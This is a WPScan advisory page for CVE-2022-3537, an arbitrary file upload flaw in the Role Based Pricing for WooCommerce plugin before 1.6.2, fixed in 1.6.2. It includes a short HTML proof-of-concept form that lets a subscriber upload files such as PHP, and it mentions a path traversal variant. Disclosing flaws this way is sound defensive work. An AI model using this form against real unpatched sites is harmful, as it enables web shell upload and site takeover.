WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Role Based Pricing for WooCommerce < 1.6.2 - Subscriber+ Arbitrary File Upload

Description

The plugin does not have authorisation and proper CSRF checks, and does not validate files to be uploaded, allowing any authenticated users like subscriber to upload arbitrary files, such as PHP

Proof of Concept

As a subscriber, open the HTML code below while being logged in as a subscriber, then choose a file to upload and submit it

<form action="https://example.com/wp-admin/admin-ajax.php?action=afcsp_upload_csv" method="POST" enctype="multipart/form-data">
    <input type="file" name="afcsp_import_file" value="File to upload">
    <input type="submit" name="submit" value="submit">
</form>

The file will be uploaded at https://example.com/wp-content/uploads/addify-role-pricing/ and have the same name than the original (path can also be found in the upload response). Path traversal vector could also be used to upload the file anywhere 

Affects Plugins

role-based-pricing-for-woocommerce
Fixed in version 1.6.2

References

CVE
CVE-2022-3537

Classification

Type

UPLOAD

CWE
CWE-434

Miscellaneous

Original Researcher

WPScan

Verified

Yes

WPVDB ID
696868f7-409d-422d-87f4-92fc6bf6e74e

Timeline

Publicly Published

2022-10-17 (about 3 months ago)

Added

2022-10-17 (about 3 months ago)

Last Updated

2022-10-17 (about 3 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us